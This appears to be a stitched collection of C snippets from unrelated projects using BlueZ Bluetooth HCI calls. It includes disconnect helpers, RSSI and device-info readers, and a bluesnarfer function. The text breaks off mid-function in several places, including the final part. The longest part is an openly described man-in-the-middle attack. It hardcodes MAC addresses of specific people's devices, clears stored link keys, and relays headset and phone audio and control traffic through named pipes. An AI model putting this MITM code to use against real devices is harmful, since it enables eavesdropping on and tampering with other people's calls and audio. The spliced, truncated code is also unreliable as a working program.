int bt_disconnect(char bdaddr[18])
{
int err = 0, dd;
struct hci_conn_info_req *cr = 0;
// find the connection handle to the specified bluetooth device
cr = (struct hci_conn_info_req*) malloc(
sizeof(struct hci_conn_info_req) + sizeof(struct hci_conn_info));
str2ba(bdaddr, &cr->bdaddr);
cr->type = ACL_LINK;
dd = hci_open_dev(hci_get_route(&cr->bdaddr));
if (dd < 0)
{
err = dd;
goto cleanup;
}
err = ioctl(dd, HCIGETCONNINFO, (unsigned long) cr);
if (err)
goto cleanup;
hci_disconnect(dd, cr->conn_info->handle, HCI_OE_USER_ENDED_CONNECTION, HCI_REQ_TIMEOUT);
cleanup: free(cr);
if (dd >= 0)
close(dd);
return err;
}
int bt_get_remote_name(char *str_bdaddr) {
struct hci_conn_info_req cr;
int dd, cc, handler;
char name[248];
bdaddr_t bdaddr;
if ((dd = hci_open_dev(device)) < 0) {
fprintf(stderr, "bluesnarfer: hci_open_dev : %s\n", strerror(errno));
return -1;
}
str2ba(str_bdaddr, &bdaddr);
memcpy(&cr.bdaddr, &bdaddr, sizeof(bdaddr_t));
cr.type = ACL_LINK;
if (ioctl(dd, HCIGETCONNINFO, (unsigned long) &cr) < 0) {
if ((cc = hci_create_connection(dd, &bdaddr, htobs(HCI_DM1 | HCI_DH1), 0, 0, (void *)&handler, 25000)) < 0) {
fprintf(stderr, "bluesnarfer: hci_create_connection failed\n");
hci_close_dev(dd);
return -1;
}
}
if (hci_read_remote_name(dd, &bdaddr, 248, name, 25000)) {
fprintf(stderr, "bluesnarfer: hci_read_remote_name failed\n");
hci_close_dev(dd);
hci_disconnect(dd, handler, HCI_OE_USER_ENDED_CONNECTION, 10000);
return -1;
}
printf("device name: %s\n", name);
if (cc) hci_disconnect(dd, handler, HCI_OE_USER_ENDED_CONNECTION, 10000);
hci_close_dev(dd);
return 0;
}
int HCI::disconnect(uint16_t handle) {
if(hci_disconnect(_hci_sock, handle, HCI_OE_USER_ENDED_CONNECTION, 1000)) {
err::code = err::LIB_SYS;
return -1;
}
return 0;
}
void
disconnect_from_device(int dev_id, uint16_t handle)
{
if (dev_id < 0)
dev_id = hci_get_route(NULL);
if ((typ.dd = hci_open_dev(dev_id)) < 0)
die("Could not open device\n");
typ.err = hci_disconnect(typ.dd, handle, HCI_OE_USER_ENDED_CONNECTION, 10000);
if (typ.err < 0)
die("Could not disconnect\n");
hci_close_dev(typ.dd);
}
/*
* l2cap_disconnected_ind():
*
* Called by L2CAP to indicate that remote L2CAP protocol disconnected.
* Disconnects the RFCOMM protocol and the ACL link before it initializes a search for
* other devices.
*
*/
err_t l2cap_disconnected_ind(void *arg, struct l2cap_pcb *pcb, err_t err)
{
err_t ret = ERR_OK;
LWIP_DEBUGF(BT_SPP_DEBUG, ("l2cap_disconnected_ind: L2CAP disconnected\n"));
if(pcb->psm == SDP_PSM) {
sdp_lp_disconnected(pcb);
l2cap_close(pcb);
} else if(pcb->psm == RFCOMM_PSM) {
ret = rfcomm_lp_disconnected(pcb);
/* We can do this since we know that we are the only channel on the ACL link.
* If ACL link already is down we get an ERR_CONN returned */
hci_disconnect(&(pcb->remote_bdaddr), HCI_OTHER_END_TERMINATED_CONN_USER_ENDED);
l2cap_close(pcb);
bt_spp_start();
}
return ret;
}
static int l2cap_bluez_disconnect(int channel)
{
int result = 0;
int dd;
if ((dd = hci_open_dev(channels.channels[channel].devid)) < 0)
{
perror("hci_open_dev");
return -1;
}
if(hci_disconnect(dd, channels.channels[channel].handle, HCI_OE_USER_ENDED_CONNECTION, 5*HCI_REQ_TIMEOUT) < 0)
{
perror("hci_disconnect");
result = -1;
}
hci_close_dev(dd);
return result;
}
int get_rssi(bdaddr_t *bdaddr, struct hci_state current_hci_state)
{
struct hci_dev_info di;
if (hci_devinfo(current_hci_state.device_id, &di) < 0) {
perror("Can't get device info");
return(-1);
}
uint16_t handle;
// int hci_create_connection(int dd, const bdaddr_t *bdaddr, uint16_t ptype, uint16_t clkoffset, uint8_t rswitch, uint16_t *handle, int to);
// HCI_DM1 | HCI_DM3 | HCI_DM5 | HCI_DH1 | HCI_DH3 | HCI_DH5
if (hci_create_connection(current_hci_state.device_handle, bdaddr, htobs(di.pkt_type & ACL_PTYPE_MASK), 0, 0x01, &handle, 25000) < 0) {
perror("Can't create connection");
// TODO close(dd);
return(-1);
}
sleep(1);
struct hci_conn_info_req *cr = malloc(sizeof(*cr) + sizeof(struct hci_conn_info));
bacpy(&cr->bdaddr, bdaddr);
cr->type = ACL_LINK;
if(ioctl(current_hci_state.device_handle, HCIGETCONNINFO, (unsigned long) cr) < 0) {
perror("Get connection info failed");
return(-1);
}
int8_t rssi;
if(hci_read_rssi(current_hci_state.device_handle, htobs(cr->conn_info->handle), &rssi, 1000) < 0) {
perror("Read RSSI failed");
return(-1);
}
printf("RSSI return value: %d\n", rssi);
free(cr);
usleep(10000);
hci_disconnect(current_hci_state.device_handle, handle, HCI_OE_USER_ENDED_CONNECTION, 10000);
}
int main(int argc, char *argv[])
{
int opt, sock, dev_id, lap = 0, uap = 0, delay = 5;
int have_lap = 0;
int have_uap = 0;
int afh_enabled = 0;
uint8_t mode, afh_map[10];
char *end, ubertooth_device = -1;
char *bt_dev = "hci0";
char addr[19] = { 0 };
struct libusb_device_handle *devh = NULL;
uint32_t clock;
uint16_t accuracy, handle, offset;
bdaddr_t bdaddr;
btbb_piconet *pn;
struct hci_dev_info di;
int cc = 0;
pn = btbb_piconet_new();
while ((opt=getopt(argc,argv,"hl:u:U:e:d:ab:w:")) != EOF) {
switch(opt) {
case 'l':
lap = strtol(optarg, &end, 16);
if (end != optarg) {
++have_lap;
}
break;
case 'u':
uap = strtol(optarg, &end, 16);
if (end != optarg) {
++have_uap;
}
break;
case 'U':
ubertooth_device = atoi(optarg);
break;
case 'e':
max_ac_errors = atoi(optarg);
break;
case 'd':
dumpfile = fopen(optarg, "w");
if (dumpfile == NULL) {
perror(optarg);
return 1;
}
break;
case 'a':
afh_enabled = 1;
break;
case 'b':
bt_dev = optarg;
if (bt_dev == NULL) {
perror(optarg);
return 1;
}
break;
case 'w': //wait
delay = atoi(optarg);
break;
case 'h':
default:
usage();
return 1;
}
}
dev_id = hci_devid(bt_dev);
sock = hci_open_dev(dev_id);
hci_read_clock(sock, 0, 0, &clock, &accuracy, 0);
if ((have_lap != 1) || (have_uap != 1)) {
printf("No address given, reading address from device\n");
hci_read_bd_addr(sock, &bdaddr, 0);
lap = bdaddr.b[0] | bdaddr.b[1] << 8 | bdaddr.b[2] << 16;
btbb_init_piconet(pn, lap);
uap = bdaddr.b[3];
btbb_piconet_set_uap(pn, uap);
printf("LAP=%06x UAP=%02x\n", lap, uap);
} else if (have_lap && have_uap) {
btbb_init_piconet(pn, lap);
btbb_piconet_set_uap(pn, uap);
printf("Address given, assuming address is remote\n");
sprintf(addr, "00:00:%02X:%02X:%02X:%02X",
uap,
(lap >> 16) & 0xFF,
(lap >> 8) & 0xFF,
lap & 0xFF
);
str2ba(addr, &bdaddr);
printf("Address: %s\n", addr);
if (hci_devinfo(dev_id, &di) < 0) {
perror("Can't get device info");
return 1;
}
if (hci_create_connection(sock, &bdaddr,
htobs(di.pkt_type & ACL_PTYPE_MASK),
0, 0x01, &handle, 25000) < 0) {
perror("Can't create connection");
return 1;
}
sleep(1);
cc = 1;
if (hci_read_clock_offset(sock, handle, &offset, 1000) < 0) {
perror("Reading clock offset failed");
}
clock += offset;
//Experimental AFH map reading from remote device
if(afh_enabled) {
if(hci_read_afh_map(sock, handle, &mode, afh_map, 1000) < 0) {
perror("HCI read AFH map request failed");
//exit(1);
}
if(mode == 0x01) {
btbb_piconet_set_afh_map(pn, afh_map);
btbb_print_afh_map(pn);
} else {
printf("AFH disabled.\n");
afh_enabled = 0;
}
}
if (cc) {
usleep(10000);
hci_disconnect(sock, handle, HCI_OE_USER_ENDED_CONNECTION, 10000);
}
} else {
int cmd_pan_discovery(struct command *cmd)
{
int role = AFFIX_PAN_NAP;
int fd, i, found = 0;
__u32 length = 8;
int err;
INQUIRY_ITEM devs[20];
char *devnames[20];
char name[248];
__u8 num;
uint16_t ServiceID;
uint16_t count;
slist_t *searchList = NULL;
slist_t *attrList = NULL;
slist_t *svcList = NULL;
sdpsvc_t *svcRec;
struct sockaddr_affix saddr;
__argv = &__argv[optind];
if (*__argv) {
role = str2role(*__argv);
if (!role) {
fprintf(stderr, "invalid role: %s\n", *__argv);
return 1;
}
if (*(++__argv))
sscanf(*__argv, "%x", &length);
}
fd = hci_open(btdev);
if (fd < 0) {
printf("Unable to open device %s: %s\n", btdev, strerror(errno));
return -1;
}
printf("Searching %d sec ...\n", length);
err = HCI_Inquiry(fd, length, 20, devs, &num);
if (err) {
fprintf(stderr, "%s\n", hci_error(err));
exit(1);
}
if (num == 0) {
printf("done.\nNo devices found.\n");
} else {
printf("Searching done. Checking for service %s ...\n", role2str(role));
btdev_cache_reload();
btdev_cache_retire();
for (i = 0; i < num; i++) {
if (!(devs[i].Class_of_Device & HCI_COD_NETWORKING))
continue;
saddr.family = PF_AFFIX;
saddr.bda = devs[i].bda;
saddr.devnum = HCIDEV_ANY;
printf("% 2d: %s ", ++found, bda2str(&saddr.bda));
devs[i].Clock_Offset |= 0x8000;
err = HCI_RemoteNameRequest(fd, &devs[i], name);
if (!err)
devnames[i] = strdup(name);
else
devnames[i] = NULL;
printf("(%s)... ", name);
#if defined(CONFIG_AFFIX_SDP)
if (role == AFFIX_PAN_NAP)
ServiceID = SDP_UUID_NAP;
else if (role == AFFIX_PAN_GN)
ServiceID = SDP_UUID_GN;
else
ServiceID = SDP_UUID_PANU;
/* search for service ServiceID */
s_list_append_uuid16(&searchList, ServiceID);
/* set attributes to find */
s_list_append_uint(&attrList, SDP_ATTR_SERVICE_RECORD_HANDLE);
s_list_append_uint(&attrList, SDP_ATTR_PROTO_DESC_LIST);
err = __sdp_search_attr_req(&saddr, searchList, IndividualAttributes, attrList, 0xffff, &svcList, &count);
s_list_destroy(&searchList);
s_list_free(&attrList);
hci_disconnect(&saddr);
if (err) {
//fprintf(stderr, "%s\n", sdp_error(err));
printf("no\n");
continue;
}
if (count == 0) {
printf("no\n");
continue;
}
printf("yes\n");
svcRec = s_list_dequeue(&svcList);
sdp_free_svc(svcRec);
sdp_free_svclist(&svcList);
//hci_get_conn();
#else
fprintf(stderr, "Affix SDP support disabled at compile time!\n");
break;
#endif
__btdev_cache_add(devs[i].bda, devs[i].Class_of_Device, devnames[i]);
if (devnames[i])
free(devnames[i]);
}
btdev_cache_save();
}
close(fd);
return 0;
}
void extra_info(int dd, int dev_id, bdaddr_t* bdaddr)
{
uint16_t handle, offset;
uint8_t features[8], max_page = 0;
char name[249], *tmp;
char addr[19] = { 0 };
uint8_t mode, afh_map[10];
struct hci_version version;
struct hci_dev_info di;
struct hci_conn_info_req *cr;
int i, cc = 0;
if (hci_devinfo(dev_id, &di) < 0) {
perror("Can't get device info");
exit(1);
}
printf("Requesting information ...\n");
cr = malloc(sizeof(*cr) + sizeof(struct hci_conn_info));
if (!cr) {
perror("Can't get connection info");
exit(1);
}
bacpy(&cr->bdaddr, bdaddr);
cr->type = ACL_LINK;
if (ioctl(dd, HCIGETCONNINFO, (unsigned long) cr) < 0) {
if (hci_create_connection(dd, bdaddr,
htobs(di.pkt_type & ACL_PTYPE_MASK),
0, 0x01, &handle, 25000) < 0) {
perror("Can't create connection");
return;
}
sleep(1);
cc = 1;
} else
handle = htobs(cr->conn_info->handle);
ba2str(bdaddr, addr);
printf("\tBD Address: %s\n", addr);
if (hci_read_remote_name(dd, bdaddr, sizeof(name), name, 25000) == 0)
printf("\tDevice Name: %s\n", name);
if (hci_read_remote_version(dd, handle, &version, 20000) == 0) {
char *ver = lmp_vertostr(version.lmp_ver);
printf("\tLMP Version: %s (0x%x) LMP Subversion: 0x%x\n"
"\tManufacturer: %s (%d)\n",
ver ? ver : "n/a",
version.lmp_ver,
version.lmp_subver,
bt_compidtostr(version.manufacturer),
version.manufacturer);
if (ver)
bt_free(ver);
}
memset(features, 0, sizeof(features));
hci_read_remote_features(dd, handle, features, 20000);
if ((di.features[7] & LMP_EXT_FEAT) && (features[7] & LMP_EXT_FEAT))
hci_read_remote_ext_features(dd, handle, 0, &max_page,
features, 20000);
printf("\tFeatures%s: 0x%2.2x 0x%2.2x 0x%2.2x 0x%2.2x "
"0x%2.2x 0x%2.2x 0x%2.2x 0x%2.2x\n",
(max_page > 0) ? " page 0" : "",
features[0], features[1], features[2], features[3],
features[4], features[5], features[6], features[7]);
tmp = lmp_featurestostr(features, "\t\t", 63);
printf("%s\n", tmp);
bt_free(tmp);
for (i = 1; i <= max_page; i++) {
if (hci_read_remote_ext_features(dd, handle, i, NULL,
features, 20000) < 0)
continue;
printf("\tFeatures page %d: 0x%2.2x 0x%2.2x 0x%2.2x 0x%2.2x "
"0x%2.2x 0x%2.2x 0x%2.2x 0x%2.2x\n", i,
features[0], features[1], features[2], features[3],
features[4], features[5], features[6], features[7]);
}
if (hci_read_clock_offset(dd, handle, &offset, 1000) < 0) {
perror("Reading clock offset failed");
exit(1);
}
printf("\tClock offset: 0x%4.4x\n", btohs(offset));
if(hci_read_afh_map(dd, handle, &mode, afh_map, 1000) < 0) {
perror("HCI read AFH map request failed");
}
if(mode == 0x01) {
// DGS: Replace with call to btbb_print_afh_map - need a piconet
printf("\tAFH Map: 0x");
for(i=0; i<10; i++)
printf("%02x", afh_map[i]);
printf("\n");
} else {
printf("AFH disabled.\n");
}
free(cr);
if (cc) {
usleep(10000);
hci_disconnect(dd, handle, HCI_OE_USER_ENDED_CONNECTION, 10000);
}
}
void main()
{
// ------ Pairing stuff ------
// These are some known MACs for devices we'll be using in the demonstration
// "00:11:67:F8:8A:D1" - JAM Headphones
// "FC:58:FA:3A:49:08" - Perchik's bluetooth speaker
// Dongel - "00:01:95:27:45:51"
// Shay mac - 60:F8:1D:C0:95:15
const char* dest1_mac = "FC:58:FA:3A:49:08"; // Audio Sink
const char* dest2_mac = "78:D7:5F:A2:7E:4A"; // Audio Gateway
const char* local_mac = "60:F8:1D:C0:95:15"; // Local Controller
bdaddr_t bdaddr1, bdaddr2;
int dev_id = 0, dev_sock = 0, err, attempts;
uint16_t conn1_handle, conn2_handle;
uint16_t packet_type;
struct hci_conn_info_req *conn_info_request;
struct hci_dev_info dev_info;
// SDP stuff - use these for SDP querying for RFCOMM channels with sdp_lookup_uuid_rfcomm_channel below
uint16_t headset_uuid16 = 0x1108;
uint16_t headset_gate_uuid16 = 0x1112;
uint16_t hfp_gate_uuid16 = 0x111F;
uint16_t hfp_uuid16 = 0x111E;
uint16_t a2dp_src_uuid16 = 0x110A;
uint16_t a2dp_sink_uuid16 = 0x110B;
// RFCOMM/SCO stuff
struct sockaddr_rc remote1, remote2;
struct sockaddr_rc local;
struct sockaddr_sco sco_remote;
struct sco_options sco_conn_options;
wanted_rfcomm_sock_res server_rfcomm_sock;
socklen_t optlen;
// RFCOMM Channels for known demonstration devices:
// iPhone: 8
// JAM Headphones: 1
// Perchik speakers: 3
int rfcomm_sock1 = -1, rfcomm_sock2 = -1, rfcomm_channel1 = 1, rfcomm_channel2 = 8, sco_sock, sco_conn_enabled = 0;
int32_t recv_len = 0, packet_seq, audio_i, pkt_i, audio1_sent_amt = 0;
uint8_t* recv_buf = (uint8_t*)malloc(RECV_BUF_SIZE);
int sco_sock1 = -1, sco_sock2 = -1;
int is_server = 0;
int ag2hs, hs2ag, ag2hs_sco, hs2ag_sco, ag2hs_sdp, hs2ag_sdp, ag2hs_avctp, hs2ag_avctp, ag2hs_avdtp, hs2ag_avdtp, ag2hs_audio, hs2ag_audio;
// L2CAP stuff
int avdtp_sock1, avdtp_sock2, avctp_sock1, avctp_sock2, audio_sock1, audio_sock2, sdp_sock1, sdp_sock2, connected = 0, sdp_chann_enabled, audio_sock1_imtu, audio_sock1_omtu = DEFAULT_L2CAP_MTU, sdp1_omtu, sdp1_imtu;
l2cap_sock_info sdp_sock_res, rfcomm_sock_res, server_avctp_sock_res, server_avdtp_sock_res;
uint8_t *l2cap_buf = (uint8_t*)malloc(1500);
FILE* test_audio_file = NULL;
FILE* haxed_audio_file = fopen("audiodump_in.sbc", "rb");
str2ba(dest1_mac, &bdaddr1);
str2ba(dest2_mac, &bdaddr2);
dev_id = hci_get_route(NULL);
dev_sock = hci_open_dev(dev_id);
printf("Looking up device RFCOMM channels...\n");
// Find RFCOMM channels on both devices - uncomment to discover channels for new devices
// WARNING: Set a return after these functions or Ctrl+C the program after SDP querying is over.
// Do not continue to the MITM attack after a SDP query! It simply won't work.
//rfcomm_channel1 = sdp_lookup_uuid_rfcomm_channel(&bdaddr1, hfp_uuid16);
//rfcomm_channel2 = sdp_lookup_uuid_rfcomm_channel(&bdaddr2, hfp_gate_uuid16);
printf("Audio source: %u, Audio sink: %u\n", rfcomm_channel2, rfcomm_channel1);
// Get connection handles to both entities
/*if ((err = ioctl(dev_sock, HCIGETCONNINFO, (unsigned long)conn_info_request)) < 0)*/
if (-1 == hci_devinfo(dev_id, &dev_info))
{
printf("Failed to get devinfo\n");
goto cleanup;
}
packet_type = htobs(dev_info.pkt_type & ACL_PTYPE_MASK);
printf("Connecting to dev1...\n");
if (-1 == hci_create_connection(dev_sock, &bdaddr1, packet_type, 0, 1, &conn1_handle, 25000))
{
printf("Failed to manually create connection 1\n");
goto cleanup;
}
if ((err = hci_authenticate_link(dev_sock, htobs(conn1_handle), 10000)) < 0)
{
printf("Failed to authenticate link 1 (%d)\n", err);
if ((err = hci_delete_stored_link_key(dev_sock, &bdaddr1, 1, 1000)) < 0)
{
printf("Failed to clear link 1 keys...\n");
goto cleanup;
}
if ((err = hci_change_link_key(dev_sock, htobs(conn1_handle), 5000)) < 0)
{
printf("Failed to change link 1 key\n");
goto cleanup;
}
printf("Cleared link1 keys, attempting auth again...\n");
if ((err = hci_authenticate_link(dev_sock, htobs(conn1_handle), 10000)) < 0)
{
printf("Failed to reauthenticate link 1 (%d)\n", err);
goto cleanup;
}
}
if ((err = hci_encrypt_link(dev_sock, htobs(conn1_handle), 1, 10000)) < 0)
{
printf("Failed to encrypt link 1\n");
goto cleanup;
}
printf("Dev1 secured\n");
sleep(3);
printf("Connecting to dev2...\n");
if (-1 == hci_create_connection(dev_sock, &bdaddr2, packet_type, 0, 1, &conn2_handle, 25000))
{
printf("Failed to manually create connection 2\n");
goto cleanup;
}
if ((err = hci_authenticate_link(dev_sock, htobs(conn2_handle), 10000)) < 0)
{
printf("Failed to authenticate link 2 (%d)\n", err);
if ((err = hci_delete_stored_link_key(dev_sock, &bdaddr2, 1, 1000)) < 0)
{
printf("Failed to clear link 1 keys...\n");
goto cleanup;
}
printf("Cleared link2 keys, attempting auth again...\n");
if ((err = hci_change_link_key(dev_sock, htobs(conn2_handle), 5000)) < 0)
{
printf("Failed to change link 2 key\n");
goto cleanup;
}
if ((err = hci_authenticate_link(dev_sock, htobs(conn2_handle), 10000)) < 0)
{
printf("Failed to reauthenticate link 2 (%d)\n", err);
goto cleanup;
}
}
if ((err = hci_encrypt_link(dev_sock, htobs(conn2_handle), 1, 10000)) < 0)
{
printf("Failed to encrypt link 2\n");
goto cleanup;
}
printf("Dev2 secured\n");
printf("Got connection handles: <%s, %u>, <%s, %u>\n", dest1_mac, conn1_handle, dest2_mac, conn2_handle);
printf("Disconnecting ACL connections to connect via RFCOMM...\n");
hci_disconnect(dev_sock, conn1_handle, HCI_OE_USER_ENDED_CONNECTION, 3000);
hci_disconnect(dev_sock, conn2_handle, HCI_OE_USER_ENDED_CONNECTION, 3000);
printf("Waiting for HCI to finish disconnecting...\n");
sleep(1);
printf("Initiating RFCOMM Communications\n");
/*
rfcomm_sock1 = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);
remote1.rc_family = AF_BLUETOOTH;
remote1.rc_channel = rfcomm_channel1;
str2ba(dest1_mac, &remote1.rc_bdaddr);
for (attempts = 0, err = -1; attempts < 3 && err < 0; attempts++)
{
if ((err = connect(rfcomm_sock1, (struct sockaddr *)&remote1, sizeof(struct sockaddr_rc))) < 0)
{
printf("Failed to connect RFCOMM 1 (%d)\n", err);
}
}
if (err < 0) goto rfcomm_sock_cleanup;
*/
/*
rfcomm_sock_res.psm = PSM_RFCOMM;
rfcomm_sock_res.res_sock = -1;
printf("Waiting for phone on L2CAP...\n");
start_l2cap_conn_wait(&rfcomm_sock_res);
while (rfcomm_sock_res.res_sock <0);
printf("Accepted on l2cap!\n");
rfcomm_sock2 = rfcomm_sock_res.res_sock;
*/
/*
rfcomm_sock2 = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);
remote2.rc_family = AF_BLUETOOTH;
remote2.rc_channel = rfcomm_channel2;
str2ba(dest2_mac, &remote2.rc_bdaddr);
for (attempts = 0, err = -1; attempts < 3 && err < 0; attempts++)
{
if ((err = connect(rfcomm_sock2, (struct sockaddr *)&remote2, sizeof(struct sockaddr_rc))) < 0)
{
printf("Failed to connect RFCOMM 2 (%d)\n", err);
}
}
if (err < 0) goto rfcomm_sock_cleanup;
*/
/*
rfcomm_sock1 = connect_l2cap(dest1_mac, PSM_RFCOMM);
rfcomm_sock2 = connect_l2cap(dest2_mac, PSM_RFCOMM);
if (rfcomm_sock1 <= 0 || rfcomm_sock2 <= 0)
{
printf("Failed to connect RFCOMM/L2CAP. %d - %d\n", rfcomm_sock1, rfcomm_sock2);
goto rfcomm_sock_cleanup;
}
*/
// printf("RFCOMM communications started. Setting to nonblocking I/O.\n");
/*
if (fcntl(rfcomm_sock1, F_SETFL, O_NONBLOCK) < 0)
{
printf("Failed to make RFCOMM socket nonblocking\n");
goto rfcomm_sock_cleanup;
}
if (fcntl(rfcomm_sock2, F_SETFL, O_NONBLOCK) < 0)
{
printf("Failed to make RFCOMM socket nonblocking\n");
goto rfcomm_sock_cleanup;
}
*/
avdtp_sock1 = avdtp_sock2 = avctp_sock1 = avctp_sock2 = sdp_sock1 = sdp_sock2 = -1;
/*
printf("Attempting to connect L2CAP sockets...\n");
printf("Side 1 AVDTP/AVCTP...\n");
avdtp_sock1 = connect_l2cap(dest1_mac, PSM_AVDTP);
avctp_sock1 = connect_l2cap(dest1_mac, PSM_AVCTP);
if (avdtp_sock1 < 0 || avctp_sock1 < 0)
{
printf("Failed to setup L2CAP links... %d - %d\n", avctp_sock1, avdtp_sock1);
goto l2cap_sock_cleanup;
}
printf("Side 2 AVDTP/AVCTP...\n");
avdtp_sock2 = connect_l2cap(dest2_mac, PSM_AVDTP);
avctp_sock2 = connect_l2cap(dest2_mac, PSM_AVCTP);
if (avdtp_sock2 < 0 || avctp_sock2 < 0)
{
printf("Failed to setup L2CAP links... %d - %d\n", avctp_sock1, avdtp_sock1);
goto l2cap_sock_cleanup;
}
*/
//start_sco_conn_wait(&sco_sock2);
// Bind a L2CAP socket to wait for the slave to probe our SDP server
sdp_sock_res.psm = PSM_SDP;
sdp_sock_res.res_sock = -1;
start_l2cap_conn_wait(&sdp_sock_res);
// Bind two L2CAP sockets to wait for the slave to connect to our AVDTP and AVCTP service ports
server_avctp_sock_res.psm = PSM_AVCTP;
server_avdtp_sock_res.psm = PSM_AVDTP;
start_l2cap_conn_wait(&server_avctp_sock_res);
start_l2cap_conn_wait(&server_avdtp_sock_res);
//start_sco_conn_wait(&sco_sock2);
server_rfcomm_sock.res_sock = -1;
server_rfcomm_sock.channel = rfcomm_channel1;
//start_rfcomm_conn_wait(&server_rfcomm_sock);
sdp_chann_enabled = 0;
sco_conn_enabled = 0;
sco_sock1 = sdp_sock1 = -1;
is_server = 0;
rfcomm_sock2 = connect_rfcomm(dest2_mac, local_mac, rfcomm_channel2);
printf("Opened AG RFCOMM connection\n");
// Make pipes
if (0 > mknod("bt_hs2ag", S_IFIFO | 0666, 0))
{
printf("Failed to open pipe :(\n");
goto rfcomm_sock_cleanup;
}
if (0 > mknod("bt_ag2hs", S_IFIFO | 0666, 0))
{
printf("Failed to open pipe :(\n");
goto rfcomm_sock_cleanup;
}
if (0 > mknod("bt_hs2ag_sco", S_IFIFO | 0666, 0))
{
printf("Failed to open pipe :(\n");
goto rfcomm_sock_cleanup;
}
if (0 > mknod("bt_ag2hs_sco", S_IFIFO | 0666, 0))
{
printf("Failed to open pipe :(\n");
goto rfcomm_sock_cleanup;
}
if (0 > mknod("bt_hs2ag_sdp", S_IFIFO | 0666, 0))
{
printf("Failed to open pipe :(\n");
goto rfcomm_sock_cleanup;
}
if (0 > mknod("bt_ag2hs_sdp", S_IFIFO | 0666, 0))
{
printf("Failed to open pipe :(\n");
goto rfcomm_sock_cleanup;
}
if (0 > mknod("bt_hs2ag_avctp", S_IFIFO | 0666, 0))
{
printf("Failed to open pipe :(\n");
goto rfcomm_sock_cleanup;
}
if (0 > mknod("bt_ag2hs_avctp", S_IFIFO | 0666, 0))
{
printf("Failed to open pipe :(\n");
goto rfcomm_sock_cleanup;
}
if (0 > mknod("bt_hs2ag_avdtp", S_IFIFO | 0666, 0))
{
printf("Failed to open pipe :(\n");
goto rfcomm_sock_cleanup;
}
if (0 > mknod("bt_ag2hs_avdtp", S_IFIFO | 0666, 0))
{
printf("Failed to open pipe :(\n");
goto rfcomm_sock_cleanup;
}
if (0 > mknod("bt_hs2ag_audio", S_IFIFO | 0666, 0))
{
printf("Failed to open pipe :(\n");
goto rfcomm_sock_cleanup;
}
if (0 > mknod("bt_ag2hs_audio", S_IFIFO | 0666, 0))
{
printf("Failed to open pipe :(\n");
goto rfcomm_sock_cleanup;
}
printf("Forking!\n");
ag2hs = hs2ag = NULL;
// Split into master and slave processes. This is because of bugs in BlueZ with connecting two sockets of the same kind
// within the same process. Particularly A2DP and SCO.
if (fork())
{
is_server = 1;
sco_sock2 = -2;
ag2hs = open("bt_ag2hs", O_WRONLY | O_CREAT, 0666);
hs2ag = open("bt_hs2ag", O_NONBLOCK | O_CREAT, 0666);
ag2hs_sco = open("bt_ag2hs_sco", O_WRONLY | O_NONBLOCK | O_CREAT, 0666);
hs2ag_sco = open("bt_hs2ag_sco", O_NONBLOCK | O_CREAT, 0666);
ag2hs_sdp = open("bt_ag2hs_sdp", O_WRONLY | O_CREAT, 0666);
hs2ag_sdp = open("bt_hs2ag_sdp", O_NONBLOCK | O_CREAT, 0666);
ag2hs_avctp = open("bt_ag2hs_avctp", O_WRONLY | O_CREAT, 0666);
hs2ag_avctp = open("bt_hs2ag_avctp", O_NONBLOCK | O_CREAT, 0666);
ag2hs_avdtp = open("bt_ag2hs_avdtp", O_WRONLY | O_CREAT, 0666);
hs2ag_avdtp = open("bt_hs2ag_avdtp", O_NONBLOCK | O_CREAT, 0666);
ag2hs_audio = open("bt_ag2hs_audio", O_WRONLY | O_CREAT, 0666);
hs2ag_audio = open("bt_hs2ag_audio", O_NONBLOCK | O_CREAT, 0666);
if (fcntl(ag2hs_audio, F_SETFL, O_NONBLOCK) < 0)
{
printf("Failed to make ag2hs_audio fifo nonblocking\n");
}
printf("Server starting\n");
/*
accepter = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);
remote2.rc_family = AF_BLUETOOTH;
remote2.rc_channel = rfcomm_channel2;
remote2.rc_bdaddr = *BDADDR_ANY;
printf("Waiting on RFCOMM2\n");
if (bind(accepter, (struct sockaddr*)&remote2, sizeof(struct sockaddr_rc)) < 0) printf("Failed to bind rfcomm\n");
if (listen(accepter, 1) < 0) printf("Failed to listen on rfcomm\n");
accepterlen = sizeof(struct sockaddr_rc);
rfcomm_sock2 = accept(accepter, (struct sockaddr*)&remote2, &accepterlen);
close(accepter);
rfcomm_sock2 = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);
remote2.rc_family = AF_BLUETOOTH;
remote2.rc_channel = rfcomm_channel2;
str2ba(dest2_mac, &remote2.rc_bdaddr);
for (attempts = 0, err = -1; attempts < 3 && err < 0; attempts++)
{
if ((err = connect(rfcomm_sock2, (struct sockaddr *)&remote2, sizeof(struct sockaddr_rc))) < 0)
{
printf("Failed to connect RFCOMM 2 (%d)\n", err);
}
}
printf("Opened AG RFCOMM sock\n");
if (fcntl(rfcomm_sock2, F_SETFL, O_NONBLOCK) < 0)
{
printf("Failed to make RFCOMM socket nonblocking\n");
goto rfcomm_sock_cleanup;
}
*/
}
else
{
is_server = 0;
sleep(2);
ag2hs = open("bt_ag2hs", O_NONBLOCK, 0666);
hs2ag = open("bt_hs2ag", O_WRONLY, 0666);
ag2hs_sco = open("bt_ag2hs_sco", O_NONBLOCK, 0666);
hs2ag_sco = open("bt_hs2ag_sco", O_WRONLY, 0666);
ag2hs_sdp = open("bt_ag2hs_sdp", O_NONBLOCK, 0666);
hs2ag_sdp = open("bt_hs2ag_sdp", O_WRONLY, 0666);
ag2hs_avctp = open("bt_ag2hs_avctp", O_NONBLOCK, 0666);
hs2ag_avctp = open("bt_hs2ag_avctp", O_WRONLY, 0666);
ag2hs_avdtp = open("bt_ag2hs_avdtp", O_NONBLOCK, 0666);
hs2ag_avdtp = open("bt_hs2ag_avdtp", O_WRONLY, 0666);
ag2hs_audio = open("bt_ag2hs_audio", O_NONBLOCK, 0666);
hs2ag_audio = open("bt_hs2ag_audio", O_WRONLY, 0666);
printf("Client starting\n");
rfcomm_sock1 = connect_rfcomm(dest1_mac, local_mac, rfcomm_channel1);
printf("Opened HS RFCOMM connection\n");
/*
rfcomm_sock1 = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);
remote1.rc_family = AF_BLUETOOTH;
remote1.rc_channel = rfcomm_channel1;
str2ba(dest1_mac, &remote1.rc_bdaddr);
for (attempts = 0, err = -1; attempts < 3 && err < 0; attempts++)
{
